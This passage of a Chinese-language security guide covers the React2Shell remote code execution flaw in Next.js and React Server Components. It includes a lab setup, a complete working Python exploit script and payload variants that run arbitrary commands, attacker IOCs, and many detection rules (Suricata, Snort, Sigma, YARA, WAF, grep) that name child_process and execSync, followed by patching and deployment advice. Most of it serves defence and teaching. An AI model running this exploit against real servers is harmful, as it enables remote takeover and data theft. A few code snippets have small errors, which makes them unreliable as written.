变种3:Linux vs Windows

根据目标系统调整payload:

"_prefix": "var os=process.platform;var cmd=os==='win32'?'whoami':'id';require('child_process').execSync(cmd);"

8.3 真实攻击案例分析

案例1:Earth Lamia APT组织

时间:2025年12月5日

攻击流程:

  1. 使用自动化扫描器识别vulnerable目标

  2. 部署XMRig加密货币挖矿程序

  3. 窃取AWS凭证

  4. 横向移动到S3 bucket

  5. 建立持久化后门

IOC:

  • IP: 194.69.203.32

  • 域名: anywherehost.site

  • 挖矿池: pool.minexmr.com

案例2:Jackpot Panda

时间:2025年12月6-8日

攻击流程:

  1. 利用漏洞获得初始访问

  2. 部署SOCKS代理服务器

  3. 将受害服务器加入代理网络

  4. 用于匿名化其他攻击活动

IOC:

  • IP: 162.215.170.26, 216.158.232.43

  • 域名: xpertclient.net

  • 代理端口: 1080, 8080

案例3:数据窃取活动

时间:2025年12月7日

攻击流程:

  1. 识别电商网站

  2. 窃取数据库连接字符串

  3. 导出客户数据

  4. 外传至Cloudflare Tunnel

IOC:

  • 域名: overcome-pmc-conferencing-books.trycloudflare.com

  • 外传路径: /exfil


第九部分:环境搭建

9.1 测试环境要求

硬件要求:

  • CPU: 2核心以上

  • 内存: 4GB以上

  • 磁盘: 20GB可用空间

  • 网络: 互联网连接(用于下载依赖)

软件要求:

  • Docker 20.10+

  • Node.js 18.x或20.x

  • Python 3.8+(用于exploit脚本)

  • Git

网络隔离:

重要:测试环境必须与生产网络隔离

  • 使用Docker网络隔离

  • 配置防火墙规则

  • 不要暴露到公网

  • 使用127.0.0.1绑定

9.2 Docker环境搭建

步骤1:克隆POC仓库

git clone https://github.com/l4rm4nd/CVE-2025-55182.git
cd CVE-2025-55182

步骤2:检查配置文件

package.json内容:

{
  "name": "next-rsc-cve-2025-55182-vuln",
  "version": "1.0.5",
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start -H 0.0.0.0 -p 3000"
  },
  "dependencies": {
    "next": "16.0.6",        // 易受攻击的版本
    "react": "19.2.0",       // 易受攻击的版本
    "react-dom": "19.2.0"    // 易受攻击的版本
  }
}

步骤3:构建Docker镜像

docker build -t react2shell-vuln:test .

预期输出:

Step 1/16 : FROM node:20-alpine AS build
...
npm warn deprecated [email protected]: This version has a security vulnerability.
...
Successfully built dc34f4ccbbfb
Successfully tagged react2shell-vuln:test

步骤4:运行容器

docker run -d --rm \
  -p 127.0.0.1:3000:3000 \
  --name react2shell-test \
  react2shell-vuln:test

步骤5:验证服务

# 检查容器运行状态
docker ps | grep react2shell-test

# 测试HTTP访问
curl -I http://127.0.0.1:3000

# 预期响应
HTTP/1.1 200 OK

9.3 本地开发环境搭建

如果不使用Docker,可以直接在本地搭建:

步骤1:创建项目

mkdir cve-2025-66478-lab
cd cve-2025-66478-lab
npm init -y

步骤2:安装易受攻击的版本

npm install [email protected] [email protected] [email protected]

步骤3:创建Next.js应用结构

mkdir -p app

创建app/layout.jsx:

export const metadata = {
  title: "Vulnerable RSC PoC"
};

export default function RootLayout({ children }) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

创建app/page.jsx:

export default function HomePage() {
  return (
    <main>
      <h1>CVE-2025-66478 Test Environment</h1>
      <p>This is an intentionally vulnerable application.</p>
      <p>DO NOT expose to the internet!</p>
    </main>
  );
}

步骤4:配置Next.js

创建next.config.mjs:

/** @type {import('next').NextConfig} */
const nextConfig = {};

export default nextConfig;

步骤5:构建和运行

# 构建
npx next build

# 运行
npx next start -H 127.0.0.1 -p 3000

9.4 Exploit工具准备

准备Python环境:

# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate  # Linux/Mac
# 或
venv\Scripts\activate     # Windows

# 安装依赖
pip install requests

创建基础exploit脚本:

创建exploit.py:

#!/usr/bin/env python3
import requests
import sys

def exploit(url, command):
    boundary = "----CVE202566478Boundary"

    # 构造payload
    payload_0 = f'''{{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{{\\"then\\":\\"$B1337\\"}}",
  "_response": {{
    "_prefix": "var res=process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
    "_chunks": "$Q2",
    "_formData": {{
      "get": "$1:constructor:constructor"
    }}
  }}
}}'''

    # 构造multipart body
    body = f'''------{boundary}
Content-Disposition: form-data; name="0"

{payload_0}
------{boundary}
Content-Disposition: form-data; name="1"

"$@0"
------{boundary}
Content-Disposition: form-data; name="2"

[]
------{boundary}--
'''

    headers = {
        "Next-Action": "x",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "User-Agent": "CVE-2025-66478-POC"
    }

    try:
        resp = requests.post(url, headers=headers, data=body, timeout=10)
        print(f"[*] Status: {resp.status_code}")
        print(f"[*] Response: {resp.text[:500]}")

        # 提取结果
        import re
        match = re.search(r'"digest":"([^"]+)"', resp.text)
        if match:
            print(f"\n[+] Command Output:\n{match.group(1)}")
            return True
        else:
            print("[-] No output found")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python exploit.py <URL> <COMMAND>")
        print("Example: python exploit.py http://127.0.0.1:3000 id")
        sys.exit(1)

    url = sys.argv[1]
    cmd = sys.argv[2]

    print("[*] CVE-2025-66478 Exploit")
    print(f"[*] Target: {url}")
    print(f"[*] Command: {cmd}\n")

    exploit(url, cmd)

使用方法:

# 基本用法
python exploit.py http://127.0.0.1:3000 "id"

# 其他命令示例
python exploit.py http://127.0.0.1:3000 "whoami"
python exploit.py http://127.0.0.1:3000 "pwd"
python exploit.py http://127.0.0.1:3000 "env"

9.5 检测工具安装

AssetNote Scanner:

git clone https://github.com/assetnote/react2shell-scanner
cd react2shell-scanner
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

# 使用
python3 scanner.py -u http://127.0.0.1:3000

预期输出:

[VULNERABLE] http://127.0.0.1:3000 - Status: 303

Nuclei模板:

# 安装Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 使用CVE模板
nuclei -u http://127.0.0.1:3000 -t cves/2025/CVE-2025-55182.yaml

9.6 环境验证

验证清单:

  1. 应用启动验证:

curl http://127.0.0.1:3000
# 应返回200状态码
  1. 版本验证:

curl http://127.0.0.1:3000 -I | grep -i powered
# 应显示 X-Powered-By: Next.js
  1. 漏洞验证:

python exploit.py http://127.0.0.1:3000 "echo VULNERABLE"
# 应显示 "VULNERABLE" 在输出中
  1. Docker环境验证:

docker logs react2shell-test
# 应显示Next.js正常运行

9.7 安全注意事项

环境隔离:

  1. 网络隔离:

# 只绑定到localhost
docker run -p 127.0.0.1:3000:3000 ...

# 使用Docker网络
docker network create isolated
docker run --network isolated ...
  1. 防火墙规则:

# 确保不对外暴露
sudo iptables -A INPUT -p tcp --dport 3000 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 3000 -j DROP
  1. 使用后清理:

# 停止并删除容器
docker stop react2shell-test
docker rm react2shell-test

# 删除镜像
docker rmi react2shell-vuln:test

法律和道德声明:

该测试环境仅用于:

  • 安全研究和教育

  • 授权的安全测试

  • 漏洞防护能力验证

禁止用于:

  • 未经授权的渗透测试

  • 攻击真实系统

  • 任何非法活动


第十部分:检测方法

10.1 网络流量检测

HTTP请求特征检测:

关键特征:

  1. POST请求

  2. Content-Type: multipart/form-data

  3. Next-Action header存在

  4. 请求体包含特定模式

Suricata规则:

alert http any any -> $HOME_NET any (
  msg:"CVE-2025-66478 React2Shell Exploitation Attempt";
  flow:established,to_server;
  http.method; content:"POST";
  http.header; content:"Next-Action";
  http.header; content:"multipart/form-data";
  http.request_body; content:"__proto__"; nocase;
  http.request_body; content:"constructor"; nocase;
  classtype:attempted-admin;
  sid:2025001;
  rev:1;
)

alert http any any -> $HOME_NET any (
  msg:"CVE-2025-66478 Prototype Pollution Pattern";
  flow:established,to_server;
  http.request_body; content:"$1:__proto__:"; nocase;
  classtype:attempted-admin;
  sid:2025002;
  rev:1;
)

Snort规则:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"CVE-2025-66478 Next.js RCE Attempt";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"Next-Action"; http_header;
  content:"__proto__"; http_client_body;
  content:"constructor"; distance:0; http_client_body;
  classtype:web-application-attack;
  sid:1000001;
  rev:1;
)

10.2 应用层检测

Sigma规则:

title: Possible React2Shell RCE Vulnerability Exploitation
id: a1b2c3d4-e5f6-7890-1234-567890abcdef
status: experimental
description: Detects potential exploitation of CVE-2025-55182/66478
references:
    - https://nextjs.org/blog/CVE-2025-66478
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
detection:
    selection_method:
        cs-method: 'POST'
    selection_header:
        cs-headers|contains:
            - 'Next-Action'
            - 'multipart/form-data'
    selection_status:
        sc-status: 500
    selection_response:
        cs-content-type: 'text/x-component'
        cs-body|contains: 'E{"digest"'
    condition: selection_method and selection_header and selection_status and selection_response
falsepositives:
    - Legitimate Next.js Server Actions with errors
level: critical

10.3 WAF规则

ModSecurity规则:

# 检测__proto__引用
SecRule REQUEST_BODY "@rx __proto__" \
    "id:100001,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'CVE-2025-66478: Prototype pollution attempt detected',\
    severity:CRITICAL,\
    tag:'application-multi',\
    tag:'language-javascript',\
    tag:'attack-rce',\
    tag:'CVE-2025-66478'"

# 检测constructor:constructor模式
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "id:100002,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'CVE-2025-66478: Constructor chain traversal detected',\
    severity:CRITICAL,\
    tag:'CVE-2025-66478'"

# 检测Next-Action + multipart组合
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:100003,\
    phase:1,\
    t:none,\
    chain,\
    pass,\
    nolog"
    SecRule REQUEST_HEADERS:Content-Type "@rx multipart/form-data" \
        "t:none,\
        chain"
        SecRule REQUEST_BODY "@rx (\$1:__proto__|constructor:constructor)" \
            "deny,\
            status:403,\
            log,\
            msg:'CVE-2025-66478: Suspicious Server Action request',\
            severity:CRITICAL"

Cloudflare WAF规则:

(http.request.method eq "POST" and
 http.request.headers["next-action"][0] ne "" and
 http.request.headers["content-type"][0] contains "multipart/form-data" and
 (http.request.body.raw contains "__proto__" or
  http.request.body.raw contains "constructor:constructor"))

AWS WAF规则(JSON格式):

{
  "Name": "CVE-2025-66478-Block",
  "Priority": 1,
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "POST",
            "FieldToMatch": {
              "Method": {}
            },
            "TextTransformations": [{
              "Priority": 0,
              "Type": "NONE"
            }],
            "PositionalConstraint": "EXACTLY"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Next-Action",
            "FieldToMatch": {
              "Headers": {
                "MatchPattern": {
                  "All": {}
                },
                "MatchScope": "KEY",
                "OversizeHandling": "CONTINUE"
              }
            },
            "TextTransformations": [{
              "Priority": 0,
              "Type": "LOWERCASE"
            }],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "OrStatement": {
            "Statements": [
              {
                "ByteMatchStatement": {
                  "SearchString": "__proto__",
                  "FieldToMatch": {
                    "Body": {}
                  },
                  "TextTransformations": [{
                    "Priority": 0,
                    "Type": "LOWERCASE"
                  }],
                  "PositionalConstraint": "CONTAINS"
                }
              },
              {
                "ByteMatchStatement": {
                  "SearchString": "constructor:constructor",
                  "FieldToMatch": {
                    "Body": {}
                  },
                  "TextTransformations": [{
                    "Priority": 0,
                    "Type": "LOWERCASE"
                  }],
                  "PositionalConstraint": "CONTAINS"
                }
              }
            ]
          }
        }
      ]
    }
  },
  "Action": {
    "Block": {}
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "CVE202566478Block"
  }
}

10.4 YARA规则

内存扫描规则:

rule CVE_2025_55182_Exploit_Payload {
    meta:
        description = "Detects CVE-2025-55182/66478 exploitation payload"
        author = "Security Researcher"
        date = "2025-12-03"
        severity = "critical"
        cve = "CVE-2025-55182,CVE-2025-66478"

    strings:
        $proto_ref = "$1:__proto__:" ascii
        $constructor_chain = "constructor:constructor" ascii
        $child_process = "child_process" ascii
        $exec = ".execSync(" ascii
        $next_redirect = "NEXT_REDIRECT" ascii

        $pattern1 = /"then"\s*:\s*"\$1:__proto__:then"/ ascii
        $pattern2 = /"_prefix"\s*:\s*"var res=/ ascii
        $pattern3 = /"get"\s*:\s*"\$1:constructor:constructor"/ ascii

    condition:
        ($proto_ref and $constructor_chain) or
        ($child_process and $exec and $next_redirect) or
        (2 of ($pattern*))
}

rule CVE_2025_55182_POC_Tools {
    meta:
        description = "Detects known POC tools for CVE-2025-55182"
        author = "Security Researcher"
        date = "2025-12-04"

    strings:
        $tool1 = "react2shell-scanner" ascii
        $tool2 = "CVE-2025-66478-Exploit" ascii
        $tool3 = "react2shell RCE" ascii
        $func1 = "exploit_react2shell" ascii
        $func2 = "send_rce_payload" ascii

    condition:
        any of them
}

rule CVE_2025_55182_Error_Traceback {
    meta:
        description = "Detects Next.js error tracebacks from exploitation"
        author = "Security Researcher"
        date = "2025-12-05"

    strings:
        $error1 = "Error: NEXT_REDIRECT" ascii
        $error2 = "E{\"digest\":" ascii
        $error3 = "text/x-component" ascii
        $error4 = "ReactFlightReplyServer" ascii

    condition:
        2 of them
}

10.5 日志分析

Apache/Nginx访问日志检测:

检测模式(grep):

# 检测包含Next-Action的POST请求
grep 'POST.*Next-Action' /var/log/nginx/access.log

# 检测500错误且Content-Type为text/x-component
grep '500.*text/x-component' /var/log/nginx/access.log

# 检测可疑User-Agent
grep -E '(react2shell|CVE-2025|exploit)' /var/log/nginx/access.log

日志分析脚本:

#!/usr/bin/env python3
import re
import sys
from datetime import datetime

def analyze_log(logfile):
    suspicious = []

    # 检测模式
    patterns = [
        r'POST.*Next-Action',
        r'500.*text/x-component',
        r'multipart/form-data.*Next-Action',
        r'__proto__',
        r'constructor.*constructor'
    ]

    with open(logfile, 'r') as f:
        for line in f:
            for pattern in patterns:
                if re.search(pattern, line, re.IGNORECASE):
                    suspicious.append(line.strip())
                    break

    return suspicious

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python analyze_log.py <logfile>")
        sys.exit(1)

    results = analyze_log(sys.argv[1])

    if results:
        print(f"[!] Found {len(results)} suspicious entries:")
        for entry in results:
            print(entry)
    else:
        print("[+] No suspicious activity detected")

Next.js应用日志检测:

# 检测错误digest
grep 'digest:' logs/nextjs.log

# 检测RCE相关错误
grep -E '(child_process|execSync|NEXT_REDIRECT)' logs/nextjs.log

# 检测原型污染
grep '__proto__' logs/nextjs.log

10.6 运行时检测

Node.js进程监控:

// process-monitor.js
const originalExecSync = require('child_process').execSync;

require('child_process').execSync = function(...args) {
    console.warn('[ALERT] execSync called:', args);
    console.trace();
    return originalExecSync.apply(this, args);
};

// 监控原型修改
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

运行时保护脚本:

// runtime-protection.js
'use strict';

// 1. 冻结关键原型
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

// 2. 监控危险函数
const dangerousFunctions = [
    { module: 'child_process', func: 'exec' },
    { module: 'child_process', func: 'execSync' },
    { module: 'fs', func: 'readFileSync' },
    { module: 'fs', func: 'writeFileSync' }
];

dangerousFunctions.forEach(({ module, func }) => {
    const original = require(module)[func];
    require(module)[func] = function(...args) {
        console.warn(`[SECURITY] ${module}.${func} called:`, args[0]);
        // 记录到SIEM
        logToSIEM({
            type: 'DANGEROUS_FUNCTION_CALL',
            module,
            function: func,
            args: args[0],
            stack: new Error().stack
        });
        return original.apply(this, args);
    };
});

function logToSIEM(event) {
    // 发送到SIEM系统
    const syslog = require('syslog-client');
    const client = syslog.createClient('siem.company.com');
    client.log(JSON.stringify(event));
}

10.7 IOC列表

已知恶意IP地址:

194.69.203.32
162.215.170.26
216.158.232.43
196.251.100.191
46.36.37.85
92.246.87.48

已知恶意域名:

anywherehost.site
xpertclient.net
superminecraft.net.br
overcome-pmc-conferencing-books.trycloudflare.com
donaldjtrmp.anondns.net
labubu.anondns.net
krebsec.anondns.net

已知恶意URL:

http://194.69.203.32/xmrig
http://anywherehost.site/stage2.sh
http://xpertclient.net/proxy

文件哈希(SHA256):

# XMRig挖矿程序
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

# 已知exploit脚本
f7846f6b3b7e8a9c2d1e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5

User-Agent特征:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Assetnote/1.0.0
react2shell-scanner/1.0
CVE-2025-66478-POC

第十一部分:防护措施

11.1 立即行动清单

优先级1:紧急修复(24小时内)

  1. 确定受影响的应用:

# 检查Next.js版本
cd /path/to/app
npm list next

# 检查React版本
npm list react react-dom
  1. 升级到安全版本:

针对Next.js 16.0.x:

npm install [email protected]

针对Next.js 15.x:

# 根据你的当前版本选择
npm install [email protected]   # 如果当前是15.0.x
npm install [email protected]   # 如果当前是15.1.x
npm install [email protected]   # 如果当前是15.2.x
npm install [email protected]   # 如果当前是15.3.x
npm install [email protected]   # 如果当前是15.4.x
npm install [email protected]   # 如果当前是15.5.x
  1. 使用官方修复工具:

npx fix-react2shell-next

该工具会:

  • 检测项目中的漏洞

  • 自动更新到安全版本

  • 验证修复是否成功

  1. 重新构建和部署:

npm run build
# 然后部署新版本
  1. 密钥轮换:

立即轮换以下敏感信息:

  • 数据库密码和连接字符串

  • API密钥和令牌

  • JWT签名密钥

  • 会话密钥

  • 加密密钥

  • 云服务凭证(AWS、Azure、GCP等)

  • 第三方服务凭证

# 示例:更新环境变量
# 1. 生成新密钥
openssl rand -base64 32

# 2. 更新.env文件
# 3. 重启应用
# 4. 撤销旧密钥

优先级2:安全检查(48小时内)

  1. 检查是否已被入侵:

# 检查异常进程
ps aux | grep -E "(xmrig|minerd|crypto|monero)"

# 检查异常网络连接
netstat -tupln | grep ESTABLISHED
ss -tupln | grep ESTABLISHED

# 检查最近修改的文件
find / -type f -mtime -7 -ls 2>/dev/null

# 检查cron任务
crontab -l
cat /etc/cron*/*

# 检查SSH密钥
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys

# 检查系统服务
systemctl list-units --type=service --state=running
  1. 审查应用日志:

# 检查访问日志中的可疑请求
grep -E "(Next-Action|__proto__|constructor)" /var/log/nginx/access.log
grep -E "(Next-Action|__proto__|constructor)" /var/log/apache2/access.log

# 检查错误日志
grep -E "(digest|NEXT_REDIRECT|RCE)" /var/log/nginx/error.log

# 检查Next.js应用日志
grep -E "(child_process|execSync|Error)" logs/*.log
  1. 检查环境变量访问:

如果有日志记录env访问:

grep "process.env" /var/log/app/*.log

11.2 网络层防护

1. 部署WAF规则:

使用前面提供的ModSecurity、Cloudflare或AWS WAF规则。

2. 实施速率限制:

Nginx配置:

# 限制POST请求速率
limit_req_zone $binary_remote_addr zone=post_limit:10m rate=10r/s;

server {
    location / {
        limit_req zone=post_limit burst=20 nodelay;

        # 其他配置...
    }
}

3. IP白名单(如果可行):

# 仅允许已知IP访问
geo $allowed_ip {
    default 0;
    10.0.0.0/8 1;
    192.168.0.0/16 1;
}

server {
    if ($allowed_ip = 0) {
        return 403;
    }
}

4. 部署DDoS防护:

  • 启用Cloudflare DDoS防护

  • 使用AWS Shield

  • 配置fail2ban

fail2ban配置示例:

# /etc/fail2ban/filter.d/nextjs-rce.conf
[Definition]
failregex = ^<HOST>.*POST.*Next-Action.*
            ^<HOST>.*__proto__.*

# /etc/fail2ban/jail.local
[nextjs-rce]
enabled = true
port = http,https
filter = nextjs-rce
logpath = /var/log/nginx/access.log
maxretry = 3
bantime = 3600

11.3 应用层防护

1. 输入验证:

即使框架已修复,也应在应用层验证输入:

// middleware/validate-server-action.js
export function validateServerAction(request) {
  const body = await request.text();

  // 检测危险模式
  const dangerousPatterns = [
    /__proto__/,
    /constructor.*constructor/,
    /\$1:__proto__/
  ];

  for (const pattern of dangerousPatterns) {
    if (pattern.test(body)) {
      console.error('[SECURITY] Dangerous pattern detected:', pattern);
      return new Response('Forbidden', { status: 403 });
    }
  }

  return null; // 继续处理
}

2. 最小权限原则:

限制Node.js进程权限:

# 使用非root用户运行
useradd -r -s /bin/false nextjs
chown -R nextjs:nextjs /app

# 在systemd中配置
[Service]
User=nextjs
Group=nextjs
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true

3. 容器安全:

Docker安全配置:

FROM node:20-alpine AS runtime

# 使用非root用户
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

USER nextjs

# 只读文件系统
VOLUME ["/app/.next"]

# 安全配置
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD node healthcheck.js

# 限制能力
# 在docker run时添加:
# --cap-drop=ALL --security-opt=no-new-privileges:true

4. 原型冻结:

在应用启动时冻结原型:

// app/protect-prototypes.js
'use strict';

if (process.env.NODE_ENV === 'production') {
  Object.freeze(Object.prototype);
  Object.freeze(Array.prototype);
  Object.freeze(Function.prototype);
  Object.freeze(String.prototype);
  Object.freeze(Number.prototype);

  console.log('[SECURITY] Prototypes frozen');
}

在next.config.js中引入:

// next.config.js
require('./app/protect-prototypes');

module.exports = {
  // 配置...
};

11.4 监控和告警

1. 实时监控:

部署监控告警:

// monitoring/security-monitor.js
const express = require('express');
const app = express();

// 监控可疑请求
app.use((req, res, next) => {
  if (req.headers['next-action'] && req.method === 'POST') {
    const body = JSON.stringify(req.body);

    if (body.includes('__proto__') || body.includes('constructor')) {
      // 发送告警
      sendAlert({
        type: 'POTENTIAL_RCE_ATTEMPT',
        ip: req.ip,
        url: req.url,
        headers: req.headers,
        timestamp: new Date()
      });

      // 阻断请求
      return res.status(403).json({ error: 'Forbidden' });
    }
  }

  next();
});

function sendAlert(alert) {
  // 发送到SIEM、Slack、Email等
  console.error('[SECURITY ALERT]', JSON.stringify(alert, null, 2));

  // 示例:发送到Slack
  fetch('https://hooks.slack.com/services/YOUR/WEBHOOK/URL', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      text: `Security Alert: ${alert.type}`,
      attachments: [{
        color: 'danger',
        fields: [
          { title: 'IP', value: alert.ip, short: true },
          { title: 'URL', value: alert.url, short: true },
          { title: 'Time', value: alert.timestamp, short: false }
        ]
      }]
    })
  });
}

2. SIEM集成:

配置日志转发到SIEM系统(Splunk、ELK、Datadog等):

// logging/siem-logger.js
const winston = require('winston');
const SyslogTransport = require('winston-syslog').Syslog;

const logger = winston.createLogger({
  transports: [
    new SyslogTransport({
      host: 'siem.company.com',
      port: 514,
      protocol: 'udp4',
      facility: 'local0'
    })
  ]
});

module.exports = logger;

3. 告警规则:

Prometheus告警规则示例:

groups:
  - name: security_alerts
    rules:
      - alert: PotentialRCEAttempt
        expr: rate(http_requests_total{status="403",path=~".*"}[5m]) > 10
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "High rate of blocked requests detected"
          description: "Potential CVE-2025-66478 exploitation attempt"

11.5 应急响应准备

1. 事件响应计划:

创建incident-response.md文档:

# CVE-2025-66478 Incident Response Plan

## Phase 1: Detection
- Monitor for IOCs
- Review logs for suspicious activity
- Check for unauthorized access

## Phase 2: Containment
- Isolate affected servers
- Block malicious IPs
- Disable affected services

## Phase 3: Eradication
- Remove malware/backdoors
- Patch vulnerable systems
- Rotate all credentials

## Phase 4: Recovery
- Restore from clean backups
- Verify system integrity
- Gradually restore services

## Phase 5: Post-Incident
- Document lessons learned
- Update security controls
- Train staff

2. 回滚计划:

准备快速回滚机制:

#!/bin/bash
# rollback.sh

echo "[*] Rolling back to previous version"

# 停止当前版本
pm2 stop all

# 切换到备份版本
cd /app/backup
npm install
npm run build

# 启动备份版本
pm2 start ecosystem.config.js

echo "[+] Rollback complete"

3. 备份验证:

定期测试备份恢复:

#!/bin/bash
# test-backup.sh

# 恢复备份到测试环境
tar xzf backup-2025-12-01.tar.gz -C /tmp/test

# 验证文件完整性
cd /tmp/test
npm install
npm run build

# 运行测试
npm test

echo "[+] Backup verified"

11.6 长期安全策略

1. 安全开发生命周期:

  • 代码审查:所有PR必须经过安全审查

  • 静态分析:集成SonarQube、Snyk等工具

  • 依赖扫描:自动检测依赖漏洞

  • 安全测试:包含安全测试在CI/CD中

2. 依赖管理:

package.json配置:

{
  "dependencies": {
    "next": "16.0.7",  // 固定版本,不使用^或~
    "react": "19.0.1",
    "react-dom": "19.0.1"
  },
  "scripts": {
    "audit": "npm audit --production",
    "update-check": "npx npm-check-updates"
  }
}

使用Dependabot配置:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"

3. 安全培训:

定期对开发团队进行安全培训:

  • OWASP Top 10

  • 安全编码实践

  • CVE响应流程

  • 事件响应演练


第十二部分:修复建议

12.1 版本升级路线图

评估当前状态:

  1. 确定当前版本:

cd /path/to/your/app
cat package.json | grep -E "(next|react)"

# 或使用npm
npm list next react react-dom
  1. 检查依赖冲突:

npm ls --depth=0
npm outdated

升级策略选择:

场景1:使用Next.js 16.0.x

最简单的升级路径:

# 1. 备份当前状态
cp package.json package.json.backup
cp package-lock.json package-lock.json.backup

# 2. 升级到16.0.7
npm install [email protected]

# 3. 重新安装依赖
rm -rf node_modules package-lock.json
npm install

# 4. 测试
npm run build
npm test

# 5. 验证修复
npx fix-react2shell-next

场景2:使用Next.js 15.x

根据当前小版本选择:

# 检查当前15.x版本
CURRENT_VERSION=$(npm list next --depth=0 | grep next@ | awk '{print $2}' | cut -d@ -f2)

# 升级到对应的修复版本
if [[ $CURRENT_VERSION == 15.0.* ]]; then
    npm install [email protected]
elif [[ $CURRENT_VERSION == 15.1.* ]]; then
    npm install [email protected]
elif [[ $CURRENT_VERSION == 15.2.* ]]; then
    npm install [email protected]
# ... 依此类推
fi

场景3:使用Canary版本

# 升级到最新的安全canary版本
npm install [email protected]  # 对于15.x
# 或
npm install [email protected]  # 对于16.x

场景4:使用Pages Router(不受影响)

如果仅使用Pages Router:

# 验证没有使用App Router
ls app/  # 如果不存在app目录,则使用Pages Router

# 仍建议升级,但不紧急
npm install next@latest

12.2 测试验证

升级后测试清单:

  1. 单元测试:

npm test
  1. 集成测试:

npm run test:integration
  1. 构建测试:

npm run build
  1. 端到端测试:

npm run test:e2e
  1. 性能测试:

npm run test:performance

漏洞验证:

使用官方验证工具:

npx fix-react2shell-next --verify-only

使用AssetNote扫描器:

git clone https://github.com/assetnote/react2shell-scanner
cd react2shell-scanner
python3 scanner.py -u http://localhost:3000

预期输出(修复后):

[SAFE] http://localhost:3000 - Not vulnerable

手动验证:

发送测试payload验证漏洞已修复:

curl -X POST http://localhost:3000 \
  -H "Next-Action: test" \
  -H "Content-Type: multipart/form-data; boundary=----Test" \
  --data-binary @test-payload.txt

预期结果:不应返回500错误或执行任何代码。

12.3 回归测试

功能回归测试:

确保升级后功能正常:

// tests/regression.test.js
describe('Post-upgrade regression tests', () => {
  test('Server Actions still work correctly', async () => {
    const response = await fetch('/api/test-action', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ data: 'test' })
    });

    expect(response.status).toBe(200);
  });

  test('SSR rendering works', async () => {
    const response = await fetch('/');
    const html = await response.text();

    expect(html).toContain('<!DOCTYPE html>');
  });

  test('API routes work', async () => {
    const response = await fetch('/api/hello');
    const data = await response.json();

    expect(data).toHaveProperty('message');
  });
});

性能回归测试:

# 使用lighthouse
npx lighthouse http://localhost:3000 --output=json --output-path=./lighthouse-after.json

# 比较升级前后性能
node compare-performance.js lighthouse-before.json lighthouse-after.json

12.4 分阶段部署

蓝绿部署:

#!/bin/bash
# blue-green-deploy.sh

# 1. 部署到绿色环境
echo "[*] Deploying to green environment"
ssh green-server "cd /app && git pull && npm install && npm run build"

# 2. 健康检查
echo "[*] Running health checks"
curl -f http://green-server:3000/health || exit 1

# 3. 运行测试
echo "[*] Running tests"
ssh green-server "cd /app && npm test" || exit 1

# 4. 切换流量
echo "[*] Switching traffic to green"
# 更新负载均衡器配置

# 5. 监控
echo "[*] Monitoring for 10 minutes"
sleep 600

# 6. 如果成功,停用蓝色环境
echo "[+] Deployment successful"
ssh blue-server "pm2 stop all"

金丝雀发布:

# k8s-canary-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nextjs-app-canary
spec:
  replicas: 1  # 先部署1个副本
  selector:
    matchLabels:
      app: nextjs-app
      version: patched
  template:
    metadata:
      labels:
        app: nextjs-app
        version: patched
    spec:
      containers:
      - name: nextjs
        image: nextjs-app:16.0.7
        ports:
        - containerPort: 3000

逐步增加canary流量:

# 10%流量
kubectl scale deployment nextjs-app-canary --replicas=2

# 监控错误率、延迟等指标
# 如果正常,继续增加

# 50%流量
kubectl scale deployment nextjs-app-canary --replicas=5

# 100%流量
kubectl scale deployment nextjs-app-old --replicas=0
kubectl scale deployment nextjs-app-canary --replicas=10

12.5 回滚准备

快速回滚脚本:

#!/bin/bash
# quick-rollback.sh

set -e

echo "[!] Starting emergency rollback"

# 1. 恢复package.json
cp package.json.backup package.json
cp package-lock.json.backup package-lock.json

# 2. 重新安装旧版本依赖
rm -rf node_modules
npm ci

# 3. 使用之前的构建
if [ -d ".next.backup" ]; then
    rm -rf .next
    mv .next.backup .next
else
    npm run build
fi

